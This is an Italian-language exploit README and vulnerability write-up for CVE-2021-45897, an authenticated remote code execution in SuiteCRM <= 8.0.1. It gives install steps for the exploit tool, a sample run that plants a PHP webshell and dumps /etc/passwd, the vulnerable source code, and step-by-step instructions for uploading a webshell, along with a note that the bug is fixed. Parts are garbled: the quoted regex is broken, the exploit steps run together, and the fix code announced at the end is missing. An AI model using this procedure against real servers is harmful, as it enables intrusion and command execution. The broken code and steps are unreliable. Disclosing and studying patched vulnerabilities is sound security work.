
Exploit RCE autenticato per SuiteCRM <= 8.0.1 tramite caricamento di immagini nel modello email, che installa una webshell PHP per l'esecuzione remota di comandi.
PoC per CVE-2021-45897 noto anche come SCRMBT-#180 - RCE tramite modelli email (solo utenti autenticati) in SuiteCRM <= 8.0.1
Questa vulnerabilità è stata segnalata a SalesAgility e corretta in SuiteCRM 7.12.3 e SuiteCRM Core 8.0.2. Se stai utilizzando versioni precedenti di SuiteCRM, ti consiglio vivamente di aggiornare.
Installazione
python3 e pip installata.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"Opzioni disponibili:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
Esempio di utilizzo:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
Recentemente ho scoperto un interessante vettore di attacco RCE nel software SuiteCRM basato su PHP. La vulnerabilità consente a un utente autenticato con accesso al modulo EmailTemplates di caricare file PHP dannosi, che possono essere utilizzati per ottenere l'esecuzione remota di codice.
Dal mio punto di vista, la gestione complessiva del caricamento dei file in SuiteCRM sembra abbastanza sicura. Sebbene ci sia molto codice personalizzato, gli sviluppatori hanno prestato molta attenzione sia alla rimozione di qualsiasi estensione di file (che avviene per la maggior parte dei tipi di file), sia alla validazione delle estensioni e alla sanificazione del contenuto nel caso di immagini. Esiste persino un'interfaccia plugin per caricare scanner antivirus di terze parti e far loro elaborare qualsiasi upload.
Tuttavia, mi sono imbattuto casualmente in una piccola funzionalità interessante nascosta in public/legacy/modules/EmailTemplates/EmailTemplate.php:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM consente agli utenti di creare modelli email. I modelli possono anche contenere allegati, che vengono memorizzati in un modulo separato (il modulo Notes). Gli utenti possono allegare file arbitrari ai modelli email. Il contenuto del file non viene sanificato in alcun modo. Tuttavia, viene memorizzato senza estensione, quindi anche se contiene codice PHP potenzialmente dannoso, non verrebbe eseguito dal server web. Gli utenti autenticati possono anche scaricare questi allegati utilizzando un link nel formato /index.php?entryPoint=download&type=Notes&id=<note-id>.
La funzione repairEntryPointImages viene attivata ogni volta che un modello email viene salvato o accesso. Se diamo un'occhiata al codice, possiamo vedere che analizza il markup (body_html) del modello email e cerca tag HTML img con un attributo src speciale. L'espressione regolare sostanzialmente rispecchia il formato del link interno di download degli allegati. Tuttavia, questi link funzionano solo per gli utenti autenticati in SuiteCRM, cosa che molto probabilmente non vale per il destinatario dell'email. Pertanto, SuiteCRM crea automaticamente una copia dell'allegato nella cartella public del server web e sostituisce il link di download interno con la versione pubblica. Per garantire che il client email visualizzi correttamente le immagini, aggiunge anche un'estensione di file. Tuttavia, l'estensione del file di destinazione nella cartella public viene presa direttamente dal parametro di query filename dell'attributo src dell'immagine e non viene validata (nota che filename non attiva alcun'altra logica e può essere scelto liberamente).
Ora abbiamo tutto per creare un exploit che carichi una webshell PHP nella cartella public:
Notes caricando una webshell PHP. Ricorda l'id della Note/index.php?entryPoint=download&type=Notes&id=<note_id>repairEntryPointImages, ma utilizza .php per il parametro di query filename (es. /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages e copierà la nostra webshell con estensione .php nella cartella publichttp://<<host>>/public/<<note_id>>.phpSubito dopo la mia segnalazione, sono state rilasciate nuove versioni di SuiteCRM (7.12.3 e 8.0.2), contenenti il seguente fix:

Questo garantisce che in repairEntryPointImages vengano utilizzate solo estensioni di file immagine valide e impedisce la creazione di file con estensioni non consentite come .php.